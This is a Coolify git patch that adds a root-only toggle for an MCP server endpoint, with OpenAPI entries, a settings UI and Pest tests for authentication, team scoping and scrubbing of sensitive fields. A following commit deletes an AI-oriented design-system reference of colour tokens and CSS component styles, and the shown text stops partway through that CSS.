059b3d911..c35c0cdd6 100644 --- a/openapi.json +++ b/openapi.json @@ -8650,6 +8650,110 @@ ] } }, + "\/mcp\/enable": { + "get": { + "summary": "Enable MCP Server", + "description": "Enable the MCP server endpoint at \/mcp (only with root permissions).", + "operationId": "enable-mcp", + "responses": { + "200": { + "description": "MCP server enabled.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "MCP server enabled." + } + }, + "type": "object" + } + } + } + }, + "403": { + "description": "You are not allowed to enable the MCP server.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "You are not allowed to enable the MCP server." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/mcp\/disable": { + "get": { + "summary": "Disable MCP Server", + "description": "Disable the MCP server endpoint at \/mcp (only with root permissions).", + "operationId": "disable-mcp", + "responses": { + "200": { + "description": "MCP server disabled.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "MCP server disabled." + } + }, + "type": "object" + } + } + } + }, + "403": { + "description": "You are not allowed to disable the MCP server.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "You are not allowed to disable the MCP server." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/health": { "get": { "summary": "Healthcheck", diff --git a/openapi.yaml b/openapi.yaml index 83aa30744..eab531674 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -5484,6 +5484,64 @@ paths: security: - bearerAuth: [] + /mcp/enable: + get: + summary: 'Enable MCP Server' + description: 'Enable the MCP server endpoint at /mcp (only with root permissions).' + operationId: enable-mcp + responses: + '200': + description: 'MCP server enabled.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'MCP server enabled.' } + type: object + '403': + description: 'You are not allowed to enable the MCP server.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'You are not allowed to enable the MCP server.' } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + security: + - + bearerAuth: [] + /mcp/disable: + get: + summary: 'Disable MCP Server' + description: 'Disable the MCP server endpoint at /mcp (only with root permissions).' + operationId: disable-mcp + responses: + '200': + description: 'MCP server disabled.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'MCP server disabled.' } + type: object + '403': + description: 'You are not allowed to disable the MCP server.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'You are not allowed to disable the MCP server.' } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + security: + - + bearerAuth: [] /health: get: summary: Healthcheck diff --git a/resources/views/livewire/settings/advanced.blade.php b/resources/views/livewire/settings/advanced.blade.php index 6c26b453d..544ed7d4c 100644 --- a/resources/views/livewire/settings/advanced.blade.php +++ b/resources/views/livewire/settings/advanced.blade.php @@ -70,6 +70,17 @@ class="flex flex-col h-full gap-8 sm:flex-row"> environments! @endif +

MCP Server

+
+ +
+ @if ($is_mcp_server_enabled) + + Endpoint: {{ url('/mcp') }}
+ Authenticate with Authorization: Bearer <token> using a token created in Security » API Tokens. +
+ @endif

UI Settings

middleware(['mcp.enabled', 'auth:sanctum']); diff --git a/routes/api.php b/routes/api.php index c944a6ebc..f38576d4d 100644 --- a/routes/api.php +++ b/routes/api.php @@ -35,6 +35,8 @@ ], function () { Route::get('/enable', [OtherController::class, 'enable_api']); Route::get('/disable', [OtherController::class, 'disable_api']); + Route::get('/mcp/enable', [OtherController::class, 'enable_mcp']); + Route::get('/mcp/disable', [OtherController::class, 'disable_mcp']); }); Route::group([ 'middleware' => ['auth:sanctum', ApiAllowed::class, 'api.sensitive'], diff --git a/tests/Feature/Mcp/McpEndpointTest.php b/tests/Feature/Mcp/McpEndpointTest.php new file mode 100644 index 000000000..34ae493cc --- /dev/null +++ b/tests/Feature/Mcp/McpEndpointTest.php @@ -0,0 +1,194 @@ +where('id', 0)->delete(); + InstanceSettings::query()->delete(); + $settings = new InstanceSettings(['is_mcp_server_enabled' => true]); + $settings->id = 0; + $settings->save(); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); +}); + +function mcpPost(array $payload, ?string $token = null) +{ + $headers = [ + 'Content-Type' => 'application/json', + 'Accept' => 'application/json, text/event-stream', + ]; + if ($token) { + $headers['Authorization'] = 'Bearer '.$token; + } + + return test()->withHeaders($headers)->postJson('/mcp', $payload); +} + +function mcpListTools(string $token) +{ + return mcpPost([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'method' => 'tools/list', + 'params' => (object) [], + ], $token); +} + +function mcpCallTool(string $token, string $name, array $arguments = []) +{ + return mcpPost([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'method' => 'tools/call', + 'params' => [ + 'name' => $name, + 'arguments' => (object) $arguments, + ], + ], $token); +} + +function mcpToolJson($response): array +{ + return json_decode($response->json('result.content.0.text'), true); +} + +test('MCP endpoint returns 404 when the instance setting is disabled', function () { + InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => false]); + Once::flush(); + + $response = mcpPost(['jsonrpc' => '2.0', 'id' => 1, 'method' => 'tools/list']); + $response->assertStatus(404); +}); + +test('MCP endpoint rejects unauthenticated requests', function () { + $response = mcpPost(['jsonrpc' => '2.0', 'id' => 1, 'method' => 'tools/list']); + $response->assertStatus(401); +}); + +test('MCP endpoint lists tools for an authenticated token', function () { + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $response = mcpListTools($token); + $response->assertOk(); + + $toolNames = collect($response->json('result.tools'))->pluck('name')->all(); + expect($toolNames)->toContain( + 'get_infrastructure_overview', + 'list_servers', + 'get_server', + 'list_projects', + 'list_applications', + 'get_application', + 'list_databases', + 'get_database', + 'list_services', + 'get_service', + ); + expect($toolNames)->not->toContain('get_resource_status'); +}); + +test('list_projects returns summary + pagination scoped to the token team', function () { + $project = Project::create(['name' => 'Mine', 'team_id' => $this->team->id]); + + $otherTeam = Team::factory()->create(); + Project::create(['name' => 'Theirs', 'team_id' => $otherTeam->id]); + + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $response = mcpCallTool($token, 'list_projects'); + $response->assertOk(); + + $body = mcpToolJson($response); + + expect($body)->toHaveKey('data'); + expect($body)->toHaveKey('_pagination'); + expect($body['_pagination']['total'])->toBe(1); + expect($body['_pagination']['per_page'])->toBe(50); + expect($body['_pagination'])->not->toHaveKey('next'); + + $uuids = collect($body['data'])->pluck('uuid')->all(); + $names = collect($body['data'])->pluck('name')->all(); + expect($uuids)->toContain($project->uuid); + expect($names)->not->toContain('Theirs'); + expect($body['data'][0])->toHaveKeys(['uuid', 'name', 'description']); +}); + +test('list_projects paginates with per_page cap at 100', function () { + for ($i = 0; $i < 3; $i++) { + Project::create(['name' => "P{$i}", 'team_id' => $this->team->id]); + } + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $response = mcpCallTool($token, 'list_projects', ['per_page' => 2, 'page' => 1]); + $body = mcpToolJson($response); + + expect($body['_pagination']['total'])->toBe(3); + expect($body['_pagination']['total_pages'])->toBe(2); + expect($body['_pagination']['next']['args'])->toMatchArray(['page' => 2, 'per_page' => 2]); + expect($body['data'])->toHaveCount(2); + + // Verify max cap + $capped = mcpCallTool($token, 'list_projects', ['per_page' => 500]); + $cappedBody = mcpToolJson($capped); + expect($cappedBody['_pagination']['per_page'])->toBe(100); +}); + +test('get_infrastructure_overview returns counts', function () { + Project::create(['name' => 'One', 'team_id' => $this->team->id]); + Project::create(['name' => 'Two', 'team_id' => $this->team->id]); + + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $response = mcpCallTool($token, 'get_infrastructure_overview'); + $response->assertOk(); + + $body = mcpToolJson($response); + expect($body)->toHaveKey('data'); + expect($body['data'])->toHaveKeys(['coolify_version', 'servers', 'projects', 'counts']); + expect($body['data']['counts']['projects'])->toBe(2); + expect($body['data']['projects'])->toHaveCount(2); + expect($body['data']['projects'][0])->toHaveKey('counts'); +}); + +test('get_server scrubs sensitive nested data and exposes connection_timeout', function () { + $server = Server::factory()->create(['team_id' => $this->team->id]); + // creating hook auto-generates a sentinel_token; bump connection_timeout + // via saveQuietly to avoid triggering restartSentinel. + $server->settings->forceFill(['connection_timeout' => 42])->saveQuietly(); + + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $response = mcpCallTool($token, 'get_server', ['uuid' => $server->uuid]); + $response->assertOk(); + + $body = mcpToolJson($response); + $raw = json_encode($body); + + expect($raw)->not->toContain('sentinel_token'); + expect($raw)->not->toContain('"team_id"'); + expect($raw)->not->toContain('"private_key_id"'); + expect($body['data']['connection_timeout'])->toBe(42); + expect($body['data']['uuid'])->toBe($server->uuid); +}); + +test('tool calls fail when the token lacks the read ability', function () { + $token = $this->user->createToken('mcp-no-abilities', [])->plainTextToken; + + $response = mcpCallTool($token, 'list_projects'); + $response->assertOk(); + + expect($response->json('result.isError'))->toBeTrue(); + expect($response->json('result.content.0.text'))->toContain('Missing required permissions'); +}); diff --git a/tests/Feature/Mcp/McpToggleApiTest.php b/tests/Feature/Mcp/McpToggleApiTest.php new file mode 100644 index 000000000..2700f9b7b --- /dev/null +++ b/tests/Feature/Mcp/McpToggleApiTest.php @@ -0,0 +1,107 @@ +delete(); + $settings = new InstanceSettings([ + 'is_mcp_server_enabled' => false, + 'is_api_enabled' => true, + ]); + $settings->id = 0; + $settings->save(); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); +}); + +function makeRootMcpToken(User $user): string +{ + $token = $user->createToken('mcp-root', ['root']); + DB::table('personal_access_tokens') + ->where('id', $token->accessToken->id) + ->update(['team_id' => '0']); + + return $token->plainTextToken; +} + +function makeNonRootMcpToken(User $user, Team $team, array $abilities = ['write']): string +{ + $token = $user->createToken('mcp-write', $abilities); + DB::table('personal_access_tokens') + ->where('id', $token->accessToken->id) + ->update(['team_id' => (string) $team->id]); + + return $token->plainTextToken; +} + +test('GET /api/v1/mcp/enable enables MCP server with root token', function () { + $token = makeRootMcpToken($this->user); + + $response = test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->getJson('/api/v1/mcp/enable'); + + $response->assertOk(); + $response->assertJson(['message' => 'MCP server enabled.']); + expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeTrue(); +}); + +test('GET /api/v1/mcp/disable disables MCP server with root token', function () { + InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => true]); + $token = makeRootMcpToken($this->user); + + $response = test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->getJson('/api/v1/mcp/disable'); + + $response->assertOk(); + $response->assertJson(['message' => 'MCP server disabled.']); + expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeFalse(); +}); + +test('non-root token cannot enable MCP server', function () { + $token = makeNonRootMcpToken($this->user, $this->team); + + $response = test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->getJson('/api/v1/mcp/enable'); + + $response->assertStatus(403); + expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeFalse(); +}); + +test('non-root token cannot disable MCP server', function () { + InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => true]); + $token = makeNonRootMcpToken($this->user, $this->team); + + $response = test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->getJson('/api/v1/mcp/disable'); + + $response->assertStatus(403); + expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeTrue(); +}); + +test('unauthenticated request to /api/v1/mcp/enable returns 401', function () { + $response = test()->getJson('/api/v1/mcp/enable'); + $response->assertStatus(401); +}); + +test('read-only token cannot toggle MCP server (lacks write ability)', function () { + $token = makeNonRootMcpToken($this->user, $this->team, ['read']); + + $response = test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->getJson('/api/v1/mcp/enable'); + + $response->assertStatus(403); +}); From ec6407a71f72dfa27fa29831df917aa15f4f67dc Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 29 Apr 2026 10:43:19 +0200 Subject: [PATCH 112/329] docs(design): migrate design system from .ai/ to DESIGN.md Condense verbose 1666-line AI reference into 752-line structured YAML/Markdown spec. Move from .ai/design-system.md to repo-root DESIGN.md for broader visibility. --- .ai/design-system.md | 1666 ------------------------------------------ DESIGN.md | 752 +++++++++++++++++++ 2 files changed, 752 insertions(+), 1666 deletions(-) delete mode 100644 .ai/design-system.md create mode 100644 DESIGN.md diff --git a/.ai/design-system.md b/.ai/design-system.md deleted file mode 100644 index d22adf3c6..000000000 --- a/.ai/design-system.md +++ /dev/null @@ -1,1666 +0,0 @@ -# Coolify Design System - -> **Purpose**: AI/LLM-consumable reference for replicating Coolify's visual design in new applications. Contains design tokens, component styles, and interactive states — with both Tailwind CSS classes and plain CSS equivalents. - ---- - -## 1. Design Tokens - -### 1.1 Colors - -#### Brand / Accent - -| Token | Hex | Usage | -|---|---|---| -| `coollabs` | `#6b16ed` | Primary accent (light mode) | -| `coollabs-50` | `#f5f0ff` | Highlighted button bg (light) | -| `coollabs-100` | `#7317ff` | Highlighted button hover (dark) | -| `coollabs-200` | `#5a12c7` | Highlighted button text (light) | -| `coollabs-300` | `#4a0fa3` | Deepest brand shade | -| `warning` / `warning-400` | `#fcd452` | Primary accent (dark mode) | - -#### Warning Scale (used for dark-mode accent + callouts) - -| Token | Hex | -|---|---| -| `warning-50` | `#fefce8` | -| `warning-100` | `#fef9c3` | -| `warning-200` | `#fef08a` | -| `warning-300` | `#fde047` | -| `warning-400` | `#fcd452` | -| `warning-500` | `#facc15` | -| `warning-600` | `#ca8a04` | -| `warning-700` | `#a16207` | -| `warning-800` | `#854d0e` | -| `warning-900` | `#713f12` | - -#### Neutral Grays (dark mode backgrounds) - -| Token | Hex | Usage | -|---|---|---| -| `base` | `#101010` | Page background (dark) | -| `coolgray-100` | `#181818` | Component background (dark) | -| `coolgray-200` | `#202020` | Elevated surface / borders (dark) | -| `coolgray-300` | `#242424` | Input border shadow / hover (dark) | -| `coolgray-400` | `#282828` | Tooltip background (dark) | -| `coolgray-500` | `#323232` | Subtle hover overlays (dark) | - -#### Semantic - -| Token | Hex | Usage | -|---|---|---| -| `success` | `#22C55E` | Running status, success alerts | -| `error` | `#dc2626` | Stopped status, danger actions, error alerts | - -#### Light Mode Defaults - -| Element | Color | -|---|---| -| Page background | `gray-50` (`#f9fafb`) | -| Component background | `white` (`#ffffff`) | -| Borders | `neutral-200` (`#e5e5e5`) | -| Primary text | `black` (`#000000`) | -| Muted text | `neutral-500` (`#737373`) | -| Placeholder text | `neutral-300` (`#d4d4d4`) | - -### 1.2 Typography - -**Font family**: Inter, sans-serif (weights 100–900, woff2, `font-display: swap`) - -#### Heading Hierarchy - -> **CRITICAL**: All headings and titles (h1–h4, card titles, modal titles) MUST be `white` (`#fff`) in dark mode. The default body text color is `neutral-400` (`#a3a3a3`) — headings must override this to white or they will be nearly invisible on dark backgrounds. - -| Element | Tailwind | Plain CSS (light) | Plain CSS (dark) | -|---|---|---|---| -| `h1` | `text-3xl font-bold dark:text-white` | `font-size: 1.875rem; font-weight: 700; color: #000;` | `color: #fff;` | -| `h2` | `text-xl font-bold dark:text-white` | `font-size: 1.25rem; font-weight: 700; color: #000;` | `color: #fff;` | -| `h3` | `text-lg font-bold dark:text-white` | `font-size: 1.125rem; font-weight: 700; color: #000;` | `color: #fff;` | -| `h4` | `text-base font-bold dark:text-white` | `font-size: 1rem; font-weight: 700; color: #000;` | `color: #fff;` | - -#### Body Text - -| Context | Tailwind | Plain CSS | -|---|---|---| -| Body default | `text-sm antialiased` | `font-size: 0.875rem; line-height: 1.25rem; -webkit-font-smoothing: antialiased;` | -| Labels | `text-sm font-medium` | `font-size: 0.875rem; font-weight: 500;` | -| Badge/status text | `text-xs font-bold` | `font-size: 0.75rem; line-height: 1rem; font-weight: 700;` | -| Box description | `text-xs font-bold text-neutral-500` | `font-size: 0.75rem; font-weight: 700; color: #737373;` | - -### 1.3 Spacing Patterns - -| Context | Value | CSS | -|---|---|---| -| Component internal padding | `p-2` | `padding: 0.5rem;` | -| Callout padding | `p-4` | `padding: 1rem;` | -| Input vertical padding | `py-1.5` | `padding-top: 0.375rem; padding-bottom: 0.375rem;` | -| Button height | `h-8` | `height: 2rem;` | -| Button horizontal padding | `px-2` | `padding-left: 0.5rem; padding-right: 0.5rem;` | -| Button gap | `gap-2` | `gap: 0.5rem;` | -| Menu item padding | `px-2 py-1` | `padding: 0.25rem 0.5rem;` | -| Menu item gap | `gap-3` | `gap: 0.75rem;` | -| Section margin | `mb-12` | `margin-bottom: 3rem;` | -| Card min-height | `min-h-[4rem]` | `min-height: 4rem;` | - -### 1.4 Border Radius - -| Context | Tailwind | Plain CSS | -|---|---|---| -| Default (inputs, buttons, cards, modals) | `rounded-sm` | `border-radius: 0.125rem;` | -| Callouts | `rounded-lg` | `border-radius: 0.5rem;` | -| Badges | `rounded-full` | `border-radius: 9999px;` | -| Cards (coolbox variant) | `rounded` | `border-radius: 0.25rem;` | - -### 1.5 Shadows - -#### Input / Select Box-Shadow System - -Coolify uses **inset box-shadows instead of borders** for inputs and selects. This enables a unique "dirty indicator" — a colored left-edge bar. - -```css -/* Default state */ -box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; - -/* Default state (dark) */ -box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424; - -/* Focus state (light) — purple left bar */ -box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; - -/* Focus state (dark) — yellow left bar */ -box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; - -/* Dirty (modified) state — same as focus */ -box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; /* light */ -box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; /* dark */ - -/* Disabled / Readonly */ -box-shadow: none; -``` - -#### Input-Sticky Variant (thinner border) - -```css -/* Uses 1px border instead of 2px */ -box-shadow: inset 4px 0 0 transparent, inset 0 0 0 1px #e5e5e5; -``` - -### 1.6 Focus Ring System - -All interactive elements (buttons, links, checkboxes) share this focus pattern: - -**Tailwind:** -``` -focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base -``` - -**Plain CSS:** -```css -:focus-visible { - outline: none; - box-shadow: 0 0 0 2px #101010, 0 0 0 4px #6b16ed; /* light */ -} - -/* dark mode */ -.dark :focus-visible { - box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; -} -``` - -> **Note**: Inputs use the inset box-shadow system (section 1.5) instead of the ring system. - ---- - -## 2. Dark Mode Strategy - -- **Toggle method**: Class-based — `.dark` class on `` element -- **CSS variant**: `@custom-variant dark (&:where(.dark, .dark *));` -- **Default border override**: All elements default to `border-color: var(--color-coolgray-200)` (`#202020`) instead of `currentcolor` - -### Accent Color Swap - -| Context | Light | Dark | -|---|---|---| -| Primary accent | `coollabs` (`#6b16ed`) | `warning` (`#fcd452`) | -| Focus ring | `ring-coollabs` | `ring-warning` | -| Input focus bar | `#6b16ed` (purple) | `#fcd452` (yellow) | -| Active nav text | `text-black` | `text-warning` | -| Helper/highlight text | `text-coollabs` | `text-warning` | -| Loading spinner | `text-coollabs` | `text-warning` | -| Scrollbar thumb | `coollabs-100` | `coollabs-100` | - -### Background Hierarchy (dark) - -``` -#101010 (base) — page background - └─ #181818 (coolgray-100) — cards, inputs, components - └─ #202020 (coolgray-200) — elevated surfaces, borders, nav active - └─ #242424 (coolgray-300) — input borders (via box-shadow), button borders - └─ #282828 (coolgray-400) — tooltips, hover states - └─ #323232 (coolgray-500) — subtle overlays -``` - -### Background Hierarchy (light) - -``` -#f9fafb (gray-50) — page background - └─ #ffffff (white) — cards, inputs, components - └─ #e5e5e5 (neutral-200) — borders - └─ #f5f5f5 (neutral-100) — hover backgrounds - └─ #d4d4d4 (neutral-300) — deeper hover, nav active -``` - ---- - -## 3. Component Catalog - -### 3.1 Button - -#### Default - -**Tailwind:** -``` -flex gap-2 justify-center items-center px-2 h-8 text-sm text-black normal-case rounded-sm -border-2 outline-0 cursor-pointer font-medium bg-white border-neutral-200 hover:bg-neutral-100 -dark:bg-coolgray-100 dark:text-white dark:hover:text-white dark:hover:bg-coolgray-200 -dark:border-coolgray-300 hover:text-black disabled:cursor-not-allowed min-w-fit -dark:disabled:text-neutral-600 disabled:border-transparent disabled:hover:bg-transparent -disabled:bg-transparent disabled:text-neutral-300 -focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs -dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base -``` - -**Plain CSS:** -```css -.button { - display: flex; - gap: 0.5rem; - justify-content: center; - align-items: center; - padding: 0 0.5rem; - height: 2rem; - font-size: 0.875rem; - font-weight: 500; - text-transform: none; - color: #000; - background: #fff; - border: 2px solid #e5e5e5; - border-radius: 0.125rem; - outline: 0; - cursor: pointer; - min-width: fit-content; -} -.button:hover { background: #f5f5f5; } - -/* Dark */ -.dark .button { - background: #181818; - color: #fff; - border-color: #242424; -} -.dark .button:hover { - background: #202020; - color: #fff; -} - -/* Disabled */ -.button:disabled { - cursor: not-allowed; - border-color: transparent; - background: transparent; - color: #d4d4d4; -} -.dark .button:disabled { color: #525252; } -``` - -#### Highlighted (Primary Action) - -**Tailwind** (via `isHighlighted` attribute): -``` -text-coollabs-200 dark:text-white bg-coollabs-50 dark:bg-coollabs/20 -border-coollabs dark:border-coollabs-100 hover:bg-coollabs hover:text-white -dark:hover:bg-coollabs-100 dark:hover:text-white -``` - -**Plain CSS:** -```css -.button-highlighted { - color: #5a12c7; - background: #f5f0ff; - border-color: #6b16ed; -} -.button-highlighted:hover { - background: #6b16ed; - color: #fff; -} -.dark .button-highlighted { - color: #fff; - background: rgba(107, 22, 237, 0.2); - border-color: #7317ff; -} -.dark .button-highlighted:hover { - background: #7317ff; - color: #fff; -} -``` - -#### Error / Danger - -**Tailwind** (via `isError` attribute): -``` -text-red-800 dark:text-red-300 bg-red-50 dark:bg-red-900/30 -border-red-300 dark:border-red-800 hover:bg-red-300 hover:text-white -dark:hover:bg-red-800 dark:hover:text-white -``` - -**Plain CSS:** -```css -.button-error { - color: #991b1b; - background: #fef2f2; - border-color: #fca5a5; -} -.button-error:hover { - background: #fca5a5; - color: #fff; -} -.dark .button-error { - color: #fca5a5; - background: rgba(127, 29, 29, 0.3); - border-color: #991b1b; -} -.dark .button-error:hover { - background: #991b1b; - color: #fff; -} -``` - -#### Loading Indicator - -Buttons automatically show a spinner (SVG with `animate-spin`) next to their content during async operations. The spinner uses the accent color (`text-coollabs` / `text-warning`). - ---- - -### 3.2 Input - -**Tailwind:** -``` -block py-1.5 w-full text-sm text-black rounded-sm border-0 -dark:bg-coolgray-100 dark:text-white -disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 -dark:read-only:text-neutral-500 dark:read-only:bg-coolgray-100/40 -placeholder:text-neutral-300 dark:placeholder:text-neutral-700 -read-only:text-neutral-500 read-only:bg-neutral-200 -focus-visible:outline-none -``` - -**Plain CSS:** -```css -.input { - display: block; - padding: 0.375rem 0.5rem; - width: 100%; - font-size: 0.875rem; - color: #000; - background: #fff; - border: 0; - border-radius: 0.125rem; - box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; -} -.input:focus-visible { - outline: none; - box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; -} -.input::placeholder { color: #d4d4d4; } -.input:disabled { background: #e5e5e5; color: #737373; box-shadow: none; } -.input:read-only { color: #737373; background: #e5e5e5; box-shadow: none; } -.input[type="password"] { padding-right: 2.4rem; } - -/* Dark */ -.dark .input { - background: #181818; - color: #fff; - box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424; -} -.dark .input:focus-visible { - box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; -} -.dark .input::placeholder { color: #404040; } -.dark .input:disabled { background: rgba(24, 24, 24, 0.4); box-shadow: none; } -.dark .input:read-only { color: #737373; background: rgba(24, 24, 24, 0.4); box-shadow: none; } -``` - -#### Dirty (Modified) State - -When an input value has been changed but not saved, a 4px colored left bar appears via box-shadow — same colors as focus state. This provides a visual indicator that the field has unsaved changes. - ---- - -### 3.3 Select - -Same base styles as Input, plus a custom dropdown arrow SVG: - -**Tailwind:** -``` -w-full block py-1.5 text-sm text-black rounded-sm border-0 -dark:bg-coolgray-100 dark:text-white -disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 -focus-visible:outline-none -``` - -**Additional plain CSS for the dropdown arrow:** -```css -.select { - /* ...same as .input base... */ - background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23000000'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e"); - background-position: right 0.5rem center; - background-repeat: no-repeat; - background-size: 1rem 1rem; - padding-right: 2.5rem; - appearance: none; -} - -/* Dark mode: white stroke arrow */ -.dark .select { - background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='1.5' stroke='%23ffffff'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9'/%3e%3c/svg%3e"); -} -``` - ---- - -### 3.4 Checkbox - -**Tailwind:** -``` -dark:border-neutral-700 text-coolgray-400 dark:bg-coolgray-100 rounded-sm cursor-pointer -dark:disabled:bg-base dark:disabled:cursor-not-allowed -focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs -dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base -``` - -**Container:** -``` -flex flex-row items-center gap-4 pr-2 py-1 form-control min-w-fit -dark:hover:bg-coolgray-100 cursor-pointer -``` - -**Plain CSS:** -```css -.checkbox { - border-color: #404040; - color: #282828; - background: #181818; - border-radius: 0.125rem; - cursor: pointer; -} -.checkbox:focus-visible { - outline: none; - box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; -} - -.checkbox-container { - display: flex; - flex-direction: row; - align-items: center; - gap: 1rem; - padding: 0.25rem 0.5rem 0.25rem 0; - min-width: fit-content; - cursor: pointer; -} -.dark .checkbox-container:hover { background: #181818; } -``` - ---- - -### 3.5 Textarea - -Uses `font-mono` for monospace text. Supports tab key insertion (2 spaces). - -**Important**: Large/multiline textareas should NOT use the inset box-shadow left-border system from `.input`. Use a simple border instead: - -**Tailwind:** -``` -block w-full text-sm text-black rounded-sm border border-neutral-200 -dark:bg-coolgray-100 dark:text-white dark:border-coolgray-300 -font-mono focus-visible:outline-none focus-visible:ring-2 -focus-visible:ring-coollabs dark:focus-visible:ring-warning -focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base -``` - -**Plain CSS:** -```css -.textarea { - display: block; - width: 100%; - font-size: 0.875rem; - font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; - color: #000; - background: #fff; - border: 1px solid #e5e5e5; - border-radius: 0.125rem; -} -.textarea:focus-visible { - outline: none; - box-shadow: 0 0 0 2px #fff, 0 0 0 4px #6b16ed; -} -.dark .textarea { - background: #181818; - color: #fff; - border-color: #242424; -} -.dark .textarea:focus-visible { - box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; -} -``` - -> **Note**: The 4px inset left-border (dirty/focus indicator) is only for single-line inputs and selects, not textareas. - ---- - -### 3.6 Box / Card - -#### Standard Box - -**Tailwind:** -``` -relative flex lg:flex-row flex-col p-2 transition-colors cursor-pointer min-h-[4rem] -dark:bg-coolgray-100 shadow-sm bg-white border text-black dark:text-white hover:text-black -border-neutral-200 dark:border-coolgray-300 hover:bg-neutral-100 -dark:hover:bg-coollabs-100 dark:hover:text-white hover:no-underline rounded-sm -``` - -**Plain CSS:** -```css -.box { - position: relative; - display: flex; - flex-direction: column; - padding: 0.5rem; - min-height: 4rem; - background: #fff; - border: 1px solid #e5e5e5; - border-radius: 0.125rem; - box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); - color: #000; - cursor: pointer; - transition: background-color 150ms, color 150ms; - text-decoration: none; -} -.box:hover { background: #f5f5f5; color: #000; } - -.dark .box { - background: #181818; - border-color: #242424; - color: #fff; -} -.dark .box:hover { - background: #7317ff; - color: #fff; -} - -/* IMPORTANT: child text must also turn white/black on hover, - since description text (#737373) is invisible on purple bg */ -.box:hover .box-title { color: #000; } -.box:hover .box-description { color: #000; } -.dark .box:hover .box-title { color: #fff; } -.dark .box:hover .box-description { color: #fff; } - -/* Desktop: row layout */ -@media (min-width: 1024px) { - .box { flex-direction: row; } -} -``` - -#### Coolbox (Ring Hover) - -**Tailwind:** -``` -relative flex transition-all duration-150 dark:bg-coolgray-100 bg-white p-2 rounded -border border-neutral-200 dark:border-coolgray-400 hover:ring-2 -dark:hover:ring-warning hover:ring-coollabs cursor-pointer min-h-[4rem] -``` - -**Plain CSS:** -```css -.coolbox { - position: 